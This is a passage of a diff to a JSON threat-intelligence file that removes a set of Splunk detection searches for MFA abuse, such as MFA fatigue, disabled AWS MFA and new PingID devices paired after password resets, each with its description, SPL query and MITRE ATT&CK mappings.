password changes (EventID 4723, 4724) with PingID logs indicating device pairing. This behavior is significant as it may indicate a social engineering attack where a threat actor impersonates a valid user to reset credentials and add a new MFA device. If confirmed malicious, this activity could allow an attacker to gain persistent access to the compromised account, bypassing traditional security measures.", - "search": "`pingid` \"result.message\" = \"*Device Paired*\" | rex field=result.message \"Device (Unp)?(P)?aired (?.+)\" | eval src = coalesce('resources{}.ipaddress','resources{}.devicemodel'), user = upper('actors{}.name'), reason = 'result.message' | eval object=CASE(ISNOTNULL('resources{}.devicemodel'),'resources{}.devicemodel',true(),device_extract) | eval action=CASE(match('result.message',\"Device Paired*\"),\"created\",match('result.message', \"Device Unpaired*\"),\"deleted\") | stats count min(_time) as firstTime, max(_time) as lastTime, values(reason) as reason by src,user,action,object | join type=outer user [| search `wineventlog_security` EventID IN(4723,4724) | eval PW_Change_Time = _time, user = upper(user) | fields user,src_user,EventID,PW_Change_Time] | eval timeDiffRaw = round(lastTime - PW_Change_Time) | eval timeDiff = replace(tostring(abs(timeDiffRaw) ,\"duration\"),\"(\\d*)\\+*(\\d+):(\\d+):(\\d+)\",\"\\2 hours \\3 minutes\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `security_content_ctime(PW_Change_Time)` | where timeDiffRaw > 0 AND timeDiffRaw < 3600 | `pingid_new_mfa_method_after_credential_reset_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "object", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "An MFA configuration change was detected for [$user$] within [$timeDiff$] of a password reset. The device [$object$] was $action$.", - "risk_score": 50, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "PingID New MFA Method Registered For User", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for a PingID (PingOne) account. It leverages JSON logs from PingID, specifically looking for successful device pairing events. This activity is significant as adversaries who gain unauthorized access to a user account may register a new MFA method to maintain persistence. If confirmed malicious, this could allow attackers to bypass existing security measures, maintain long-term access, and potentially escalate their privileges within the compromised environment.", - "search": "`pingid` \"result.message\"=\"Device Paired*\" result.status=\"SUCCESS\" | rex field=result.message \"Device (Unp)?(P)?aired (?.+)\" | eval src = coalesce('resources{}.ipaddress','resources{}.devicemodel'), user = upper('actors{}.name'), reason = 'result.message' | eval object=CASE(ISNOTNULL('resources{}.devicemodel'),'resources{}.devicemodel',true(),device_extract) | eval action=CASE(match('result.message',\"Device Paired*\"),\"created\",match('result.message', \"Device Unpaired*\"),\"deleted\") | stats count min(_time) as firstTime, max(_time) as lastTime by src,user,object,action,reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `pingid_new_mfa_method_registered_for_user_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "object", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "An MFA configuration change was detected for [$user$], the device [$object$] was $action$.", - "risk_score": 10, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1098.005", - "mitre_attack_technique": "Device Registration", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "ASL AWS Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an AWS IAM user. It leverages Amazon Security Lake logs, specifically monitoring for `DeleteVirtualMFADevice` or `DeactivateMFADevice` API operations. This activity is significant as disabling MFA can indicate an adversary attempting to weaken account security to maintain persistence using a compromised account. If confirmed malicious, this action could allow attackers to retain access to the AWS environment without detection, potentially leading to unauthorized access to sensitive resources and prolonged compromise.", - "search": "`amazon_security_lake` (api.operation=DeleteVirtualMFADevice OR api.operation=DeactivateMFADevice) | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has disabled Multi-Factor authentication for AWS account $aws_account_id$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Console Login Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts to the AWS Console during the Multi-Factor Authentication (MFA) challenge. It leverages AWS CloudTrail logs, specifically the `additionalEventData` field, to detect when MFA was used but the login attempt still failed. This activity is significant as it may indicate an adversary attempting to access an account with compromised credentials but being thwarted by MFA. If confirmed malicious, this could suggest an ongoing attempt to breach the account, potentially leading to unauthorized access and further attacks if MFA is bypassed.", - "search": "`cloudtrail` eventName= ConsoleLogin errorMessage=\"Failed authentication\" additionalEventData.MFAUsed = \"Yes\" | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id errorCode errorMessage userAgent eventID awsRegion user_name userIdentity.arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `aws_console_login_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ failed to pass MFA challenge while logging into console from $src$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an AWS IAM user. It leverages AWS CloudTrail logs to identify events where MFA devices are deleted or deactivated. This activity is significant because disabling MFA can indicate an adversary attempting to weaken account security, potentially to maintain persistence using a compromised account. If confirmed malicious, this action could allow attackers to retain access to the AWS environment without detection, posing a significant risk to the security and integrity of the cloud infrastructure.", - "search": "`cloudtrail` (eventName= DeleteVirtualMFADevice OR eventName=DeactivateMFADevice) | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id userAgent eventID awsRegion user_name userIdentity.arn status | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - }, - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ has disabled Multi-Factor authentication for AWS account $aws_account_id$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests to an AWS Console for a single user. It leverages AWS CloudTrail logs, specifically the `additionalEventData` field, to detect more than 10 failed MFA prompts within 5 minutes. This activity is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this could lead to unauthorized access to the AWS environment, potentially compromising sensitive data and resources.", - "search": "`cloudtrail` eventName= ConsoleLogin \"additionalEventData.MFAUsed\"=Yes errorMessage=\"Failed authentication\" | bucket span=5m _time | stats dc(_raw) as mfa_prompts values(userAgent) as userAgent values(src) as src by _time user_name user_arn aws_account_id eventName errorMessage | where mfa_prompts > 10| `aws_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ is seen to have high number of MFA prompt failures within a short period of time.", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Authentication Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts against an Azure AD tenant during the Multi-Factor Authentication (MFA) challenge, specifically flagged by error code 500121. It leverages Azure AD SignInLogs to detect these events. This activity is significant as it may indicate an adversary attempting to authenticate using compromised credentials on an account with MFA enabled. If confirmed malicious, this could suggest an ongoing effort to bypass MFA protections, potentially leading to unauthorized access and further compromise of the affected account.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=500121 | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, status.additionalDetails, appDisplayName, user_agent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to pass MFA challenge", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Denied MFA Requests For User", - "description": "The following analytic detects an unusually high number of denied Multi-Factor Authentication (MFA) requests for a single user within a 10-minute window, specifically when more than nine MFA prompts are declined. It leverages Azure Active Directory (Azure AD) sign-in logs, focusing on \"Sign-in activity\" events with error code 500121 and additional details indicating \"MFA denied; user declined the authentication.\" This behavior is significant as it may indicate a targeted attack or account compromise attempt, with the user actively declining unauthorized access. If confirmed malicious, it could lead to data exfiltration, lateral movement, or further malicious activities.", - "search": "`azure_monitor_aad` category=SignInLogs operationName=\"Sign-in activity\" | rename properties.* as * | search status.errorCode=500121 status.additionalDetails=\"MFA denied; user declined the authentication\" | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime by user, status.additionalDetails, appDisplayName, user_agent | where count > 9 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_denied_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ denied more than 9 MFA requests in a timespan of 10 minutes.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests for a single user within an Azure AD tenant. It leverages Azure AD Sign-in Logs, specifically error code 500121, to detect more than 10 failed MFA attempts within 10 minutes. This behavior is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication prompts. If confirmed malicious, this activity could lead to unauthorized access, allowing attackers to compromise user accounts and potentially escalate their privileges within the environment.", - "search": " `azure_monitor_aad` category=SignInLogs operationName=\"Sign-in activity\" properties.status.errorCode=500121 properties.status.additionalDetails!=\"MFA denied; user declined the authentication\" | rename properties.* as * | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime by user, status.additionalDetails, appDisplayName, user_agent | where count > 10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ failed to complete MFA authentication more than 9 times in a timespan of 10 minutes.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "GCP Authentication Failed During MFA Challenge", - "description": "The following analytic detects failed authentication attempts during the Multi-Factor Authentication (MFA) challenge on a Google Cloud Platform (GCP) tenant. It uses Google Workspace login failure events to identify instances where MFA methods were challenged but not successfully completed. This activity is significant as it may indicate an adversary attempting to access an account with compromised credentials despite MFA protection. If confirmed malicious, this could lead to unauthorized access attempts, potentially compromising sensitive data and resources within the GCP environment.", - "search": " `gws_reports_login` event.name=login_failure `gws_login_mfa_methods` | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, login_challenge_method | `gcp_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to pass MFA challenge", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "GCP Multiple Failed MFA Requests For User", - "description": "The following analytic detects multiple failed multi-factor authentication (MFA) requests for a single user within a Google Cloud Platform (GCP) tenant. It triggers when 10 or more MFA prompts fail within a 5-minute window, using Google Workspace login failure events. This behavior is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this activity could lead to unauthorized access, allowing attackers to compromise accounts and potentially escalate privileges within the GCP environment.", - "search": "`gws_reports_login` event.name=login_failure `gws_login_mfa_methods` | bucket span=5m _time | stats dc(_raw) AS mfa_prompts values(user) AS user by src_ip, login_challenge_method, _time | where mfa_prompts >= 10 | `gcp_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multiple Failed MFA requests for user $user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "O365 Multiple Failed MFA Requests For User", - "description": "The following analytic identifies potential \"MFA fatigue\" attacks targeting Office 365 users by detecting more than nine Multi-Factor Authentication (MFA) prompts within a 10-minute timeframe. It leverages O365 management activity logs, focusing on Azure Active Directory events with the UserLoginFailed operation, a Success ResultStatus, and an ErrorNumber of 500121. This activity is significant as attackers may exploit MFA fatigue to gain unauthorized access by overwhelming users with repeated MFA requests. If confirmed malicious, this could lead to data breaches, unauthorized data access, or further compromise within the O365 environment. Immediate investigation is crucial.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ResultStatus=Success ErrorNumber=500121 | bucket span=10m _time | stats dc(_raw) as mfa_prompts values(LogonError) as LogonError values(signature) as signature by user, _time | where mfa_prompts > 9 | `o365_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple failed MFA requestes for $user$", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -488752,96 +339265,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Circle CI Disable Security Job", - "description": "The following analytic detects the disabling of security jobs in CircleCI pipelines. It leverages CircleCI log data, renaming and extracting fields such as job names, workflow IDs, user information, commit messages, URLs, and branches. The detection identifies mandatory jobs for each workflow and checks if they were executed. This activity is significant because disabling security jobs can allow malicious code to bypass security checks, leading to potential data breaches, system downtime, and reputational damage. If confirmed malicious, this could result in unauthorized code execution and compromised pipeline integrity.", 